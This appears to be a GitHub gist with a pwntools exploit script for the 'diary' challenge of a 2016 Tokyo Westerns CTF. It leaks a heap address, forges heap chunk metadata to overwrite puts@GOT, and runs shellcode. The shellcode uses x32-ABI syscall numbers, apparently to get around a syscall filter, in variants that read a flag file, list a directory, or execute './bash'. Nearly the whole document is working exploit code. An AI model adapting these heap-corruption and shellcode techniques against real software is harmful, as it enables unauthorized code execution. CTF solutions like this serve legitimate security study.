diary - Tokyo Westerns / MMA CTF 2nd 2016
# -*- coding: utf-8 -*- | |
import os | |
import sys | |
import time | |
import re | |
import struct | |
import socket | |
from pwn import * | |
context.update(arch='amd64', os='linux') | |
p = lambda x: struct.pack('<Q', x) | |
u = lambda x: struct.unpack('<Q', x)[0] | |
def connect(host, port): | |
return socket.create_connection((host, port)) | |
def recvuntil(st, debug=False): | |
ret = '' | |
while st not in ret: | |
lret = s.recv(1) | |
if debug and len(lret) > 0: | |
sys.stdout.write(lret) | |
ret += lret | |
return ret | |
def recvn(n): | |
ret = '' | |
while len(ret) != n: | |
ret += s.recv(1) | |
return ret | |
def interact(): | |
import telnetlib | |
t = telnetlib.Telnet() | |
t.sock = s | |
t.interact() | |
def process(cmd): | |
import subprocess | |
return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT) | |
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r' | |
if REMOTE: | |
host = 'pwn1.chal.ctf.westerns.tokyo' | |
port = 13856 | |
else: | |
host = '127.0.0.1' | |
port = 4000 | |
s = connect(host, port) | |
def register(date, content, size=None): | |
recvuntil('>> ') | |
s.send('1\n') | |
recvuntil('... ') | |
s.send('%s\n' % date) | |
recvuntil('... ') | |
if size is None: | |
size = len(content) | |
s.send('%d\n' % size) | |
recvuntil('>> ') | |
s.send(content) | |
def show(date): | |
recvuntil('>> ') | |
s.send('2\n') | |
recvuntil('... ') | |
s.send('%s\n' % date) | |
recvuntil('%s\n' % date) | |
return recvuntil('1.Register')[:-10] | |
def delete(date): | |
recvuntil('>> ') | |
s.send('3\n') | |
recvuntil('... ') | |
s.send('%s\n' % date) | |
register('1970/01/01', 'A' * 32) | |
register('1970/01/02', 'B' * 32) | |
delete('1970/01/01') | |
delete('1970/01/02') | |
register('1970/01/01', 'A' * 48, size=64) | |
res = show('1970/01/01') | |
heap = u(res[48:48+6].ljust(8, '\0')) | |
print 'heap : %x' % heap | |
heap_base = heap - 0x80 | |
print 'heap_base : %x' % heap_base | |
delete('1970/01/01') | |
# read file flagflag_oh_i_found | |
sc = asm(""" | |
jmp skip | |
.ascii "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | |
skip: | |
jmp loadstring | |
file_read: | |
pop rdi | |
xor rax,rax | |
push rax | |
pop rsi | |
push rax | |
pop rdx | |
mov rax,0x40000002 | |
syscall | |
push rax | |
pop rdi | |
push rsi | |
pop rax | |
push rsp | |
pop rsi | |
mov dl,0x40 | |
mov rax,0x40000000 | |
syscall | |
xchg rax,rdx | |
mov dil,0x1 | |
mov rax,0x40000001 | |
syscall | |
ret | |
loadstring: | |
call file_read | |
.asciz "flagflag_oh_i_found" | |
""") | |
# read directory | |
#sc = asm(""" | |
asm(""" | |
jmp skip | |
.ascii "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | |
skip: | |
jmp loadstring | |
dir_read: | |
pop rdi | |
xor rax,rax | |
push rax | |
pop rsi | |
push rax | |
pop rdx | |
mov rax,0x40000002 | |
syscall | |
getdents: | |
mov dx,0x400 | |
mov rsi,rsp | |
mov rdi,rax | |
mov rax,0x4000004e | |
syscall | |
test rax,rax | |
jle end | |
mov r10,rsp | |
lea r8,[rax+r10] | |
next_ent: | |
lea rsi,[r10+0x12] | |
write: | |
xor rdx,rdx | |
mov dl,0x1 | |
mov dil,0x1 | |
xor rax,rax | |
mov rax,0x40000001 | |
syscall | |
inc rsi | |
mov al,byte ptr [rsi] | |
test al,al | |
jnz write | |
lea rsi,[rdx+0x9] | |
push rsi | |
mov rsi,rsp | |
mov rax,0x40000001 | |
syscall | |
add rsp, 8 | |
movzx rsi,word ptr [r10+0x10] | |
add r10,rsi | |
cmp r10,r8 | |
jl next_ent | |
jmp getdents | |
end: | |
ret | |
loadstring: | |
call dir_read | |
.asciz "." | |
""") | |
# execve ./bash | |
#sc = asm(""" | |
asm(""" | |
jmp skip | |
.ascii "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | |
skip: | |
jmp loadstring | |
execve: | |
xor rax,rax | |
pop rdi | |
push rax | |
pop rsi | |
push rax | |
pop rdx | |
mov rax,0x4000003b | |
syscall | |
ret | |
loadstring: | |
call execve | |
.asciz "./bash" | |
""") | |
register('2000/01/01', 'A'*32) | |
register('2000/01/02', 'B'*32) | |
delete('2000/01/01') | |
payload = ( | |
'A' * 24 + | |
sc.ljust(224, '\x90') + | |
p(0x1) + # size | |
p(heap_base+0x200) + | |
p(heap_base+0x200) + | |
'' | |
).ljust(32+0x140, 'C') | |
register('2000/01/03', payload) | |
delete('2000/01/02') | |
payload = ( | |
'D' * 8 + | |
'Z' * 16 + | |
p(0xdeadbeef) + | |
p(heap_base+0xa8+24) + # shellcode (fd) | |
p(0x602020-8) + # puts@got (bk) | |
p(0xdeadbeef) + | |
'D' * 8 + | |
p(0x30) + # prev_size | |
'' | |
).ljust(72, 'D') | |
register('2000/01/04', payload + '\n', size=72) | |
delete('2000/01/03') | |
interact() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment